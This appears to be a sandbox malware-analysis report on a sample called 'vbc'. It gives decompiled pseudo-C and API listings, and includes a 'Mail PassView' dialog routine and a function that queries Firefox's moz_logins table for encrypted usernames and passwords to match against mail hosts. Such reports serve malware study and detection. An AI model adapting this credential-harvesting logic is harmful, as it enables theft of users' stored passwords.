				_a12 =  *((intOrPtr*)( *((intOrPtr*)(__esi + 0x10)) + 0x1b4));
				_t237 = GetDlgItem( *(__esi + 4), 0x3e9);
				_a4 = GetDlgItem( *(__esi + 4), 0x3e8);
				_a20 = GetWindowLongA(_t237, 0xfffffff0);
				_a24 = GetWindowLongA(_a4, 0xfffffff0);
				_a96 = GetWindowLongA(_t237, 0xffffffec);
				_a36 = GetWindowLongA(_a4, 0xffffffec);
				GetWindowRect(_t237,  &_a100);
				GetWindowRect(_a4,  &_a60);
				MapWindowPoints(0,  *(__esi + 4),  &_a100, 2);
				MapWindowPoints(0,  *(__esi + 4),  &_a60, 2);
				_t240 = _a108 - _a100.x;
				_a4 = _a4 & 0x00000000;
				_a28 = _a68 - _a60.x;
				_a76 = _a112 - _a104;
				_a40 = _a72 - _a64;
				_t169 = GetDC( *(__esi + 4));
				_a16 = _t169;
				if(_t169 == 0) {
					L9:
					_v0 = _v0 & 0x00000000;
					if( *((intOrPtr*)( *((intOrPtr*)(_t274 + 0x10)) + 0x1b0)) <= 0) {
						L12:
						_t171 = GetDlgItem( *(_t274 + 4), 1);
						_a36 = _t171;
						GetWindowRect(_t171,  &_a44);
						MapWindowPoints(0,  *(_t274 + 4),  &_a44, 2);
						GetClientRect( *(_t274 + 4),  &_a124);
						GetWindowRect( *(_t274 + 4),  &_a80);
						SetWindowPos( *(_t274 + 4), 0, 0, 0, _a88 - _a80 + 1, _a128 - _a136 - _a48 - _a84 + _a56 + _a92 + _a4 + 0x15, 0x206);
						GetClientRect( *(_t274 + 4),  &_a80);
						return SetWindowPos(_a36, 0, _a44.x, _a48 - _a56 - _a84 + _a92 - 5, _a52 - _a44 + 1, _a56 - _a48 + 1, 0x204);
					}
					_a20 = _a20 | 0x10000000;
					_a24 = _a24 | 0x10000000;
					_a8 = _a12 + 0x10;
					do {
						 *((intOrPtr*)( *_t274 + 0x1c))(_v0);
						_v20 = E00401562(_t274, _a92, "STATIC", _a16, _a96, _v0 + _a100.x, _t240, _a72);
						_v44 = E00401562(_t274, _a4, "EDIT", _v8, _a28, _v28 + _a32, _v4,  *(_t274 + 0x14) * _a8);
						sprintf( &_a80, "%s:", _v52->i);
						_t276 = _t276 + 0xc;
						SetWindowTextA(_v48,  &_a80);
						SetWindowTextA(_v52,  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t274 + 0xc))))))(_v60,  &_a336));
						_v60 = _v60 + 0x14;
						_v64 = _v64 +  *(_t274 + 0x14) * _v28 +  *((intOrPtr*)(_t274 + 0x18));
						_v68 = _v68 + 1;
					} while (_v68 <  *((intOrPtr*)( *((intOrPtr*)(_t274 + 0x10)) + 0x1b0)));
					goto L12;
				}
				_t223 = 0;
				_a32 = _a32 & 0;
				_a8 = 0;
				if( *((intOrPtr*)( *((intOrPtr*)(__esi + 0x10)) + 0x1b0)) <= 0) {
					L8:
					_t224 = _t223 - _t240;
					_a28 = _a28 - _t224;
					_a60.x = _a60.x + _t224;
					_t240 = _t240 + _t224;
					ReleaseDC( *(_t274 + 4), _a16);
					goto L9;
				}
				_v0 = _a12 + 0x10;
				do {
					if(GetTextExtentPoint32A(_a16,  *_v0, strlen( *_v0),  &_a116) != 0) {
						_t235 = _a100.x + 0xa;
						if(_t235 > _v8) {
							_v8 = _t235;
						}
					}
					_a16 =  &(_a16->i);
					_v16 = _v16 + 0x14;
				} while (_a16 <  *((intOrPtr*)( *((intOrPtr*)(_t274 + 0x10)) + 0x1b0)));
				_t223 = _v8;
				goto L8;
			}

























                                                                                                              0x0040e4a4
                                                                                                              0x0040e4a7
                                                                                                              0x0040e4af
                                                                                                              0x0040e4cd
                                                                                                              0x0040e4db
                                                                                                              0x0040e4e8
                                                                                                              0x0040e4f4
                                                                                                              0x0040e4fd
                                                                                                              0x0040e509
                                                                                                              0x0040e515
                                                                                                              0x0040e51f
                                                                                                              0x0040e52a
                                                                                                              0x0040e53e
                                                                                                              0x0040e54c
                                                                                                              0x0040e55d
                                                                                                              0x0040e561
                                                                                                              0x0040e566
                                                                                                              0x0040e575
                                                                                                              0x0040e581
                                                                                                              0x0040e585
                                                                                                              0x0040e58d
                                                                                                              0x0040e591
                                                                                                              0x0040e629
                                                                                                              0x0040e62c
                                                                                                              0x0040e638
                                                                                                              0x0040e746
                                                                                                              0x0040e74b
                                                                                                              0x0040e757
                                                                                                              0x0040e75b
                                                                                                              0x0040e769
                                                                                                              0x0040e780
                                                                                                              0x0040e78a
                                                                                                              0x0040e7d0
                                                                                                              0x0040e7da
                                                                                                              0x0040e819
                                                                                                              0x0040e819
                                                                                                              0x0040e649
                                                                                                              0x0040e65a
                                                                                                              0x0040e65e
                                                                                                              0x0040e662
                                                                                                              0x0040e66a
                                                                                                              0x0040e69c
                                                                                                              0x0040e6cc
                                                                                                              0x0040e6e3
                                                                                                              0x0040e6e8
                                                                                                              0x0040e6f7
                                                                                                              0x0040e715
                                                                                                              0x0040e726
                                                                                                              0x0040e72b
                                                                                                              0x0040e72f
                                                                                                              0x0040e73a
                                                                                                              0x00000000
                                                                                                              0x0040e662
                                                                                                              0x0040e59a
                                                                                                              0x0040e59c
                                                                                                              0x0040e5a6
                                                                                                              0x0040e5aa
                                                                                                              0x0040e610
                                                                                                              0x0040e614
                                                                                                              0x0040e619
                                                                                                              0x0040e61d
                                                                                                              0x0040e621
                                                                                                              0x0040e623
                                                                                                              0x00000000
                                                                                                              0x0040e623
                                                                                                              0x0040e5b3
                                                                                                              0x0040e5b7
                                                                                                              0x0040e5de
                                                                                                              0x0040e5e7
                                                                                                              0x0040e5ee
                                                                                                              0x0040e5f0
                                                                                                              0x0040e5f0
                                                                                                              0x0040e5ee
                                                                                                              0x0040e5f4
                                                                                                              0x0040e5ff
                                                                                                              0x0040e604
                                                                                                              0x0040e60c
                                                                                                              0x00000000

                                                                                                              APIs
                                                                                                              • GetDlgItem.USER32(?,000003E9), ref: 0040E4D1
                                                                                                              • GetDlgItem.USER32(?,000003E8), ref: 0040E4DD
                                                                                                              • GetWindowLongA.USER32(00000000,000000F0), ref: 0040E4EC
                                                                                                              • GetWindowLongA.USER32(?,000000F0), ref: 0040E4F8
                                                                                                              • GetWindowLongA.USER32(00000000,000000EC), ref: 0040E501
                                                                                                              • GetWindowLongA.USER32(?,000000EC), ref: 0040E50D
                                                                                                              • GetWindowRect.USER32 ref: 0040E51F
                                                                                                              • GetWindowRect.USER32 ref: 0040E52A
                                                                                                              • MapWindowPoints.USER32 ref: 0040E53E
                                                                                                              • MapWindowPoints.USER32 ref: 0040E54C
                                                                                                              • GetDC.USER32 ref: 0040E585
                                                                                                              • strlen.MSVCRT ref: 0040E5C5
                                                                                                              • GetTextExtentPoint32A.GDI32(?,00000000,00000000,?), ref: 0040E5D6
                                                                                                              • ReleaseDC.USER32(?,?), ref: 0040E623
                                                                                                              • sprintf.MSVCRT ref: 0040E6E3
                                                                                                              • SetWindowTextA.USER32(?,?), ref: 0040E6F7
                                                                                                              • SetWindowTextA.USER32(?,00000000), ref: 0040E715
                                                                                                              • GetDlgItem.USER32(?,00000001), ref: 0040E74B
                                                                                                              • GetWindowRect.USER32 ref: 0040E75B
                                                                                                              • MapWindowPoints.USER32 ref: 0040E769
                                                                                                              • GetClientRect.USER32 ref: 0040E780
                                                                                                              • GetWindowRect.USER32 ref: 0040E78A
                                                                                                              • SetWindowPos.USER32(?,00000000,00000000,00000000,?,?,00000206), ref: 0040E7D0
                                                                                                              • GetClientRect.USER32 ref: 0040E7DA
                                                                                                              • SetWindowPos.USER32(?,00000000,?,?,?,?,00000204), ref: 0040E812
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: Window$Rect$Long$ItemPointsText$Client$ExtentPoint32Releasesprintfstrlen
                                                                                                              • String ID: %s:$EDIT$STATIC
                                                                                                              • API String ID: 1703216249-3046471546
                                                                                                              • Opcode ID: 63f961038f13364f7976eadaedf26f00b3f2f6ee041d7cedeb7d286e156d3b6f
                                                                                                              • Instruction ID: 2f6da9a5868e125b8128a3bf626dfa5428397bb468519cd7ccc35e9b597c58da
                                                                                                              • Opcode Fuzzy Hash: 63f961038f13364f7976eadaedf26f00b3f2f6ee041d7cedeb7d286e156d3b6f
                                                                                                              • Instruction Fuzzy Hash: C9B1DE71108341AFD710DFA8C985A6BBBE9FF88704F008A2DF699D2260D775E814CF16
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 004010E5 Relevance: 45.7, APIs: 25, Strings: 1, Instructions: 176COMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 84%
                                                                                                              			E004010E5(void* __ecx, void* __edx, intOrPtr _a4, struct HDC__* _a8, unsigned int _a12) {
				struct tagPOINT _v12;
				void* __esi;
				void* _t47;
				struct HBRUSH__* _t56;
				void* _t61;
				unsigned int _t62;
				void* _t67;
				struct HWND__* _t68;
				struct HWND__* _t69;
				void* _t72;
				unsigned int _t73;
				struct HWND__* _t75;
				struct HWND__* _t76;
				struct HWND__* _t77;
				struct HWND__* _t78;
				unsigned int _t83;
				struct HWND__* _t85;
				struct HWND__* _t87;
				struct HWND__* _t88;
				struct tagPOINT _t94;
				struct tagPOINT _t96;
				void* _t102;
				void* _t113;

				_t102 = __edx;
				_push(__ecx);
				_push(__ecx);
				_t47 = _a4 - 0x110;
				_t113 = __ecx;
				if(_t47 == 0) {
					__eflags =  *0x417348;
					if(__eflags != 0) {
						SetDlgItemTextA( *(__ecx + 4), 0x3ee, 0x417348);
					} else {
						ShowWindow(GetDlgItem( *(__ecx + 4), 0x3ed), 0);
						ShowWindow(GetDlgItem( *(_t113 + 4), 0x3ee), 0);
					}
					SetWindowTextA( *(_t113 + 4), "Mail PassView");
					SetDlgItemTextA( *(_t113 + 4), 0x3ea, _t113 + 0xc);
					SetDlgItemTextA( *(_t113 + 4), 0x3ec, _t113 + 0x10b);
					E00401085(_t113, __eflags);
					E00406491(_t102,  *(_t113 + 4));
					goto L29;
				} else {
					_t61 = _t47 - 1;
					if(_t61 == 0) {
						_t62 = _a8;
						__eflags = _t62 - 1;
						if(_t62 != 1) {
							goto L29;
						} else {
							__eflags = _t62 >> 0x10;
							if(_t62 >> 0x10 != 0) {
								goto L29;
							} else {
								EndDialog( *(__ecx + 4), 1);
								DeleteObject( *(_t113 + 0x20c));
								goto L8;
							}
						}
					} else {
						_t67 = _t61 - 0x27;
						if(_t67 == 0) {
							_t68 = GetDlgItem( *(__ecx + 4), 0x3ec);
							__eflags = _a12 - _t68;
							if(_a12 != _t68) {
								__eflags =  *0x417388;
								if( *0x417388 == 0) {
									goto L29;
								} else {
									_t69 = GetDlgItem( *(_t113 + 4), 0x3ee);
									__eflags = _a12 - _t69;
									if(_a12 != _t69) {
										goto L29;
									} else {
										goto L18;
									}
								}
							} else {
								L18:
								SetBkMode(_a8, 1);
								SetTextColor(_a8, 0xc00000);
								_t56 = GetSysColorBrush(0xf);
							}
						} else {
							_t72 = _t67 - 0xc8;
							if(_t72 == 0) {
								_t73 = _a12;
								_t94 = _t73 & 0x0000ffff;
								_v12.x = _t94;
								_v12.y = _t73 >> 0x10;
								_t75 = GetDlgItem( *(__ecx + 4), 0x3ec);
								_push(_v12.y);
								_a8 = _t75;
								_t76 = ChildWindowFromPoint( *(_t113 + 4), _t94);
								__eflags = _t76 - _a8;
								if(_t76 != _a8) {
									__eflags =  *0x417388;
									if( *0x417388 == 0) {
										goto L29;
									} else {
										_t77 = GetDlgItem( *(_t113 + 4), 0x3ee);
										_push(_v12.y);
										_t78 = ChildWindowFromPoint( *(_t113 + 4), _v12.x);
										__eflags = _t78 - _t77;
										if(_t78 != _t77) {
											goto L29;
										} else {
											goto L13;
										}
									}
								} else {
									L13:
									SetCursor(LoadCursorA( *0x416b94, 0x67));
									goto L8;
								}
							} else {
								if(_t72 != 0) {
									L29:
									_t56 = 0;
									__eflags = 0;
								} else {
									_t83 = _a12;
									_t96 = _t83 & 0x0000ffff;
									_v12.x = _t96;
									_v12.y = _t83 >> 0x10;
									_t85 = GetDlgItem( *(__ecx + 4), 0x3ec);
									_push(_v12.y);
									_a8 = _t85;
									if(ChildWindowFromPoint( *(_t113 + 4), _t96) != _a8) {
										__eflags =  *0x417388;
										if( *0x417388 == 0) {
											goto L29;
										} else {
											_t87 = GetDlgItem( *(_t113 + 4), 0x3ee);
											_push(_v12.y);
											_t88 = ChildWindowFromPoint( *(_t113 + 4), _v12);
											__eflags = _t88 - _t87;
											if(_t88 != _t87) {
												goto L29;
											} else {
												_push(0x417388);
												goto L7;
											}
										}
									} else {
										_push(_t113 + 0x10b);
										L7:
										_push( *(_t113 + 4));
										E00406523();
										L8:
										_t56 = 1;
									}
								}
							}
						}
					}
				}
				return _t56;
			}


























                                                                                                              0x004010e5
                                                                                                              0x004010e8
                                                                                                              0x004010e9
                                                                                                              0x004010ed
                                                                                                              0x004010f5
                                                                                                              0x004010f7
                                                                                                              0x004012b2
                                                                                                              0x004012b9
                                                                                                              0x004012f4
                                                                                                              0x004012bb
                                                                                                              0x004012d4
                                                                                                              0x004012e3
                                                                                                              0x004012e3
                                                                                                              0x00401302
                                                                                                              0x0040131a
                                                                                                              0x0040132b
                                                                                                              0x0040132d
                                                                                                              0x00401335
                                                                                                              0x00000000
                                                                                                              0x004010fd
                                                                                                              0x004010fd
                                                                                                              0x004010fe
                                                                                                              0x0040127d
                                                                                                              0x00401280
                                                                                                              0x00401284
                                                                                                              0x00000000
                                                                                                              0x0040128a
                                                                                                              0x0040128d
                                                                                                              0x00401290
                                                                                                              0x00000000
                                                                                                              0x00401296
                                                                                                              0x0040129b
                                                                                                              0x004012a7
                                                                                                              0x00000000
                                                                                                              0x004012a7
                                                                                                              0x00401290
                                                                                                              0x00401104
                                                                                                              0x00401104
                                                                                                              0x00401107
                                                                                                              0x0040122e
                                                                                                              0x00401230
                                                                                                              0x00401233
                                                                                                              0x0040125b
                                                                                                              0x00401262
                                                                                                              0x00000000
                                                                                                              0x00401268
                                                                                                              0x00401270
                                                                                                              0x00401272
                                                                                                              0x00401275
                                                                                                              0x00000000
                                                                                                              0x0040127b
                                                                                                              0x00000000
                                                                                                              0x0040127b
                                                                                                              0x00401275
                                                                                                              0x00401235
                                                                                                              0x00401235
                                                                                                              0x0040123a
                                                                                                              0x00401248
                                                                                                              0x00401250
                                                                                                              0x00401250
                                                                                                              0x0040110d
                                                                                                              0x0040110d
                                                                                                              0x00401112
                                                                                                              0x004011a2
                                                                                                              0x004011ab
                                                                                                              0x004011b9
                                                                                                              0x004011bc
                                                                                                              0x004011bf
                                                                                                              0x004011c1
                                                                                                              0x004011c4
                                                                                                              0x004011d1
                                                                                                              0x004011d3
                                                                                                              0x004011d6
                                                                                                              0x004011f2
                                                                                                              0x004011f9
                                                                                                              0x00000000
                                                                                                              0x004011ff
                                                                                                              0x00401207
                                                                                                              0x00401209
                                                                                                              0x00401214
                                                                                                              0x00401216
                                                                                                              0x00401218
                                                                                                              0x00000000
                                                                                                              0x0040121e
                                                                                                              0x00000000
                                                                                                              0x0040121e
                                                                                                              0x00401218
                                                                                                              0x004011d8
                                                                                                              0x004011d8
                                                                                                              0x004011e7
                                                                                                              0x00000000
                                                                                                              0x004011e7
                                                                                                              0x00401118
                                                                                                              0x0040111a
                                                                                                              0x0040133b
                                                                                                              0x0040133b
                                                                                                              0x0040133b
                                                                                                              0x00401120
                                                                                                              0x00401120
                                                                                                              0x00401129
                                                                                                              0x00401137
                                                                                                              0x0040113a
                                                                                                              0x0040113d
                                                                                                              0x0040113f
                                                                                                              0x00401142
                                                                                                              0x00401154
                                                                                                              0x0040116f
                                                                                                              0x00401176
                                                                                                              0x00000000
                                                                                                              0x0040117c
                                                                                                              0x00401184
                                                                                                              0x00401186
                                                                                                              0x00401191
                                                                                                              0x00401193
                                                                                                              0x00401195
                                                                                                              0x00000000
                                                                                                              0x0040119b
                                                                                                              0x0040119b
                                                                                                              0x00000000
                                                                                                              0x0040119b
                                                                                                              0x00401195
                                                                                                              0x00401156
                                                                                                              0x0040115c
                                                                                                              0x0040115d
                                                                                                              0x0040115d
                                                                                                              0x00401160
                                                                                                              0x00401167
                                                                                                              0x00401169
                                                                                                              0x00401169
                                                                                                              0x00401154
                                                                                                              0x0040111a
                                                                                                              0x00401112
                                                                                                              0x00401107
                                                                                                              0x004010fe
                                                                                                              0x00401341

                                                                                                              APIs
                                                                                                              • GetDlgItem.USER32(?,000003EC), ref: 0040113D
                                                                                                              • ChildWindowFromPoint.USER32(?,?,?), ref: 0040114F
                                                                                                              • GetDlgItem.USER32(?,000003EE), ref: 00401184
                                                                                                              • ChildWindowFromPoint.USER32(?,?,?), ref: 00401191
                                                                                                              • GetDlgItem.USER32(?,000003EC), ref: 004011BF
                                                                                                              • ChildWindowFromPoint.USER32(?,?,?), ref: 004011D1
                                                                                                              • LoadCursorA.USER32 ref: 004011E0
                                                                                                              • SetCursor.USER32(00000000), ref: 004011E7
                                                                                                              • GetDlgItem.USER32(?,000003EE), ref: 00401207
                                                                                                              • ChildWindowFromPoint.USER32(?,?,?), ref: 00401214
                                                                                                              • GetDlgItem.USER32(?,000003EC), ref: 0040122E
                                                                                                              • SetBkMode.GDI32(?,00000001), ref: 0040123A
                                                                                                              • SetTextColor.GDI32(?,00C00000), ref: 00401248
                                                                                                              • GetSysColorBrush.USER32 ref: 00401250
                                                                                                              • GetDlgItem.USER32(?,000003EE), ref: 00401270
                                                                                                              • EndDialog.USER32 ref: 0040129B
                                                                                                              • DeleteObject.GDI32(?), ref: 004012A7
                                                                                                              • GetDlgItem.USER32(?,000003ED), ref: 004012CB
                                                                                                              • ShowWindow.USER32(00000000), ref: 004012D4
                                                                                                              • GetDlgItem.USER32(?,000003EE), ref: 004012E0
                                                                                                              • ShowWindow.USER32(00000000), ref: 004012E3
                                                                                                              • SetDlgItemTextA.USER32(?,000003EE,00417348), ref: 004012F4
                                                                                                              • SetWindowTextA.USER32(?,Mail PassView), ref: 00401302
                                                                                                              • SetDlgItemTextA.USER32(?,000003EA,?), ref: 0040131A
                                                                                                              • SetDlgItemTextA.USER32(?,000003EC,?), ref: 0040132B
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: Item$Window$Text$ChildFromPoint$ColorCursorShow$BrushDeleteDialogLoadModeObject
                                                                                                              • String ID: Mail PassView
                                                                                                              • API String ID: 3628558512-272225179
                                                                                                              • Opcode ID: 8369354600cb7b80dd2c736e043661f8d54616cc87117d1ac6397b61caa72165
                                                                                                              • Instruction ID: a5e01e197ecdabf9e6bdb75eaf1794657044b10619e6b9182d208ef804a260cb
                                                                                                              • Opcode Fuzzy Hash: 8369354600cb7b80dd2c736e043661f8d54616cc87117d1ac6397b61caa72165
                                                                                                              • Instruction Fuzzy Hash: 68518130044248BFEB259F60DE85EAE7BB5EB04700F10853AFA56E65F0C7759D61EB08
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040CE28 Relevance: 42.3, APIs: 21, Strings: 3, Instructions: 311stringCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 73%
                                                                                                              			E0040CE28(void* __ecx, void* __eflags, intOrPtr _a4, char* _a8) {
				char* _v8;
				int _v12;
				char* _v16;
				char* _v20;
				char* _v24;
				int* _v28;
				char* _v32;
				int _v36;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v64;
				intOrPtr _v68;
				char _v72;
				char _v76;
				void _v331;
				int _v332;
				void _v587;
				int _v588;
				void _v851;
				char _v852;
				void _v1378;
				short _v1380;
				void _v1995;
				char _v1996;
				void _v2611;
				char _v2612;
				char _v3636;
				char _v4660;
				char _v5684;
				char _v6708;
				char _v7732;
				void _v8755;
				char _v8756;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t115;
				signed int _t116;
				int _t118;
				void* _t130;
				char* _t170;
				intOrPtr _t175;
				char* _t177;
				int _t196;
				intOrPtr _t226;
				void* _t229;
				int* _t232;
				char* _t235;
				void* _t237;
				void* _t238;
				void* _t239;
				void* _t240;

				E004118A0(0x2234, __ecx);
				_t226 = _a4;
				_t232 = _t226 + 0x30;
				_v28 = _t232;
				_t115 = E0040DEEE(_t232, _t226 + 0x362);
				if(_t115 == 0) {
					L43:
					return _t115;
				}
				_t116 = _t232[1];
				_t196 = 0;
				if(_t116 == 0) {
					_t115 = _t116 | 0xffffffff;
				} else {
					_t115 =  *_t116(_t226 + 0x158);
				}
				if(_t115 != _t196) {
					L41:
					if( *_t232 == _t196) {
						goto L43;
					}
					_t118 = SetCurrentDirectoryA( &(_t232[8]));
					 *_t232 = _t196;
					return _t118;
				} else {
					_v36 = _t196;
					if(E0040F64B( &_v72, _t226 + 0x362) == 0) {
						L39:
						_t232 = _v28;
						_t115 = _t232[2];
						if(_t115 != _t196) {
							_t115 =  *_t115();
						}
						goto L41;
					} else {
						_v12 = _t196;
						_v1380 = _t196;
						memset( &_v1378, _t196, 0x208);
						_v852 = _t196;
						memset( &_v851, _t196, 0x104);
						_t239 = _t238 + 0x18;
						MultiByteToWideChar(_t196, _t196, _a8, 0xffffffff,  &_v1380, 0x104);
						WideCharToMultiByte(0xfde9, _t196,  &_v1380, 0xffffffff,  &_v852, 0x104, _t196, _t196);
						if(_v72 != _t196) {
							_v72( &_v852,  &_v12);
						}
						if(_v12 == _t196) {
							goto L39;
						}
						_a8 = _t196;
						if(_v68 != _t196) {
							_v68(_v12, "SELECT id, hostname, httpRealm, formSubmitURL, usernameField, passwordField, encryptedUsername, encryptedPassword FROM moz_logins", 0xffffffff,  &_a8,  &_v76);
							_t239 = _t239 + 0x14;
						}
						L11:
						L11:
						if(_v64 == _t196) {
							_t130 = 0xffff;
						} else {
							_t130 = _v64(_a8);
						}
						if(_t130 != 0x64) {
							goto L34;
						}
						_v8756 = _t196;
						memset( &_v8755, _t196, 0x3ff);
						memset( &_v7732, _t196, 0x1400);
						_t240 = _t239 + 0x18;
						_t235 = E0040F7EE( &_v72, _a8, 1);
						_v20 = E0040F7EE( &_v72, _a8, 6);
						_v8 = E0040F7EE( &_v72, _a8, 7);
						_v24 = E0040F7EE( &_v72, _a8, 4);
						_v32 = E0040F7EE( &_v72, _a8, 5);
						_v16 = E0040F7EE( &_v72, _a8, 2);
						if(_t235 != _t196) {
							strcpy( &_v8756, _t235);
						}
						if(_v20 != _t196) {
							strcpy( &_v7732, _v20);
						}
						if(_v8 != _t196) {
							strcpy( &_v6708, _v8);
						}
						if(_v24 != _t196) {
							strcpy( &_v5684, _v24);
						}
						if(_v32 != _t196) {
							strcpy( &_v4660, _v32);
						}
						if(_v16 != _t196) {
							strcpy( &_v3636, _v16);
						}
						_v332 = _t196;
						memset( &_v331, _t196, 0xff);
						_v588 = _t196;
						memset( &_v587, _t196, 0xff);
						_t239 = _t240 + 0x18;
						E0040CD27(_v8, _t226,  &_v588);
						E0040CD27(_v20, _t226,  &_v332);
						_v8 = _t196;
						if( *((intOrPtr*)(_t226 + 0x474)) > _t196) {
							_v16 = _t226 + 0x468;
							do {
								_t237 = E0040D438(_v8, _v16);
								_v2612 = _t196;
								memset( &_v2611, _t196, 0x261);
								_v1996 = _t196;
								memset( &_v1995, _t196, 0x261);
								_t86 = _t237 + 0x104; // 0x104
								_t229 = _t86;
								sprintf( &_v2612, "mailbox://%s", _t229);
								sprintf( &_v1996, "imap://%s", _t229);
								_push( &_v3636);
								_t170 =  &_v2612;
								_push(_t170);
								L004115B2();
								_t239 = _t239 + 0x38;
								if(_t170 == 0) {
									L31:
									_t94 = _t237 + 0x304; // 0x304
									E004060D0(0xff, _t94,  &_v588);
									_t96 = _t237 + 0x204; // 0x204
									E004060D0(0xff, _t96,  &_v332);
									_t196 = 0;
									goto L32;
								}
								_push( &_v3636);
								_t177 =  &_v1996;
								_push(_t177);
								L004115B2();
								if(_t177 != 0) {
									goto L32;
								}
								goto L31;
								L32:
								_v8 =  &(_v8[1]);
								_t175 = _a4;
							} while (_v8 <  *((intOrPtr*)(_t175 + 0x474)));
							_t226 = _t175;
						}
						goto L11;
						L34:
						if(_a8 != _t196 && _v48 != _t196) {
							_v48(_a8);
						}
						if(_v44 != _t196) {
							_v44(_v12);
						}
						goto L39;
					}
				}
			}























































                                                                                                              0x0040ce30
                                                                                                              0x0040ce38
                                                                                                              0x0040ce41
                                                                                                              0x0040ce45
                                                                                                              0x0040ce48
                                                                                                              0x0040ce4f
                                                                                                              0x0040d1e9
                                                                                                              0x0040d1e9
                                                                                                              0x0040d1e9
                                                                                                              0x0040ce55
                                                                                                              0x0040ce58
                                                                                                              0x0040ce5c
                                                                                                              0x0040ce6a
                                                                                                              0x0040ce5e
                                                                                                              0x0040ce65
                                                                                                              0x0040ce67
                                                                                                              0x0040ce6f
                                                                                                              0x0040d1d5
                                                                                                              0x0040d1d7
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x0040d1dd
                                                                                                              0x0040d1e3
                                                                                                              0x00000000
                                                                                                              0x0040ce75
                                                                                                              0x0040ce7f
                                                                                                              0x0040ce89
                                                                                                              0x0040d1c9
                                                                                                              0x0040d1c9
                                                                                                              0x0040d1cc
                                                                                                              0x0040d1d1
                                                                                                              0x0040d1d3
                                                                                                              0x0040d1d3
                                                                                                              0x00000000
                                                                                                              0x0040ce8f
                                                                                                              0x0040ce9c
                                                                                                              0x0040ce9f
                                                                                                              0x0040cea6
                                                                                                              0x0040ceb9
                                                                                                              0x0040cebf
                                                                                                              0x0040cec4
                                                                                                              0x0040ced6
                                                                                                              0x0040cef5
                                                                                                              0x0040cefe
                                                                                                              0x0040cf0b
                                                                                                              0x0040cf0f
                                                                                                              0x0040cf13
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x0040cf1c
                                                                                                              0x0040cf1f
                                                                                                              0x0040cf33
                                                                                                              0x0040cf36
                                                                                                              0x0040cf36
                                                                                                              0x00000000
                                                                                                              0x0040cf39
                                                                                                              0x0040cf3c
                                                                                                              0x0040cf47
                                                                                                              0x0040cf3e
                                                                                                              0x0040cf41
                                                                                                              0x0040cf44
                                                                                                              0x0040cf4f
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x0040cf62
                                                                                                              0x0040cf68
                                                                                                              0x0040cf7a
                                                                                                              0x0040cf7f
                                                                                                              0x0040cf94
                                                                                                              0x0040cfa3
                                                                                                              0x0040cfb3
                                                                                                              0x0040cfc3
                                                                                                              0x0040cfd3
                                                                                                              0x0040cfe0
                                                                                                              0x0040cfe3
                                                                                                              0x0040cfed
                                                                                                              0x0040cff3
                                                                                                              0x0040cff7
                                                                                                              0x0040d003
                                                                                                              0x0040d009
                                                                                                              0x0040d00d
                                                                                                              0x0040d019
                                                                                                              0x0040d01f
                                                                                                              0x0040d023
                                                                                                              0x0040d02f
                                                                                                              0x0040d035
                                                                                                              0x0040d039
                                                                                                              0x0040d045
                                                                                                              0x0040d04b
                                                                                                              0x0040d04f
                                                                                                              0x0040d05b
                                                                                                              0x0040d061
                                                                                                              0x0040d070
                                                                                                              0x0040d076
                                                                                                              0x0040d084
                                                                                                              0x0040d08a
                                                                                                              0x0040d08f
                                                                                                              0x0040d09e
                                                                                                              0x0040d0af
                                                                                                              0x0040d0ba
                                                                                                              0x0040d0bd
                                                                                                              0x0040d0c9
                                                                                                              0x0040d0cc
                                                                                                              0x0040d0dd
                                                                                                              0x0040d0e7
                                                                                                              0x0040d0ed
                                                                                                              0x0040d0fb
                                                                                                              0x0040d101
                                                                                                              0x0040d106
                                                                                                              0x0040d106
                                                                                                              0x0040d119
                                                                                                              0x0040d12b
                                                                                                              0x0040d136
                                                                                                              0x0040d137
                                                                                                              0x0040d13d
                                                                                                              0x0040d13e
                                                                                                              0x0040d143
                                                                                                              0x0040d148
                                                                                                              0x0040d163
                                                                                                              0x0040d16a
                                                                                                              0x0040d175
                                                                                                              0x0040d181
                                                                                                              0x0040d187
                                                                                                              0x0040d18e
                                                                                                              0x00000000
                                                                                                              0x0040d18e
                                                                                                              0x0040d150
                                                                                                              0x0040d151
                                                                                                              0x0040d157
                                                                                                              0x0040d158
                                                                                                              0x0040d161
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x0040d190
                                                                                                              0x0040d190
                                                                                                              0x0040d193
                                                                                                              0x0040d199
                                                                                                              0x0040d1a5
                                                                                                              0x0040d1a5
                                                                                                              0x00000000
                                                                                                              0x0040d1ac
                                                                                                              0x0040d1af
                                                                                                              0x0040d1b9
                                                                                                              0x0040d1bc
                                                                                                              0x0040d1c0
                                                                                                              0x0040d1c5
                                                                                                              0x0040d1c8
                                                                                                              0x00000000
                                                                                                              0x0040d1c0
                                                                                                              0x0040ce89

                                                                                                              APIs
                                                                                                                • Part of subcall function 0040DEEE: memset.MSVCRT ref: 0040DF0F
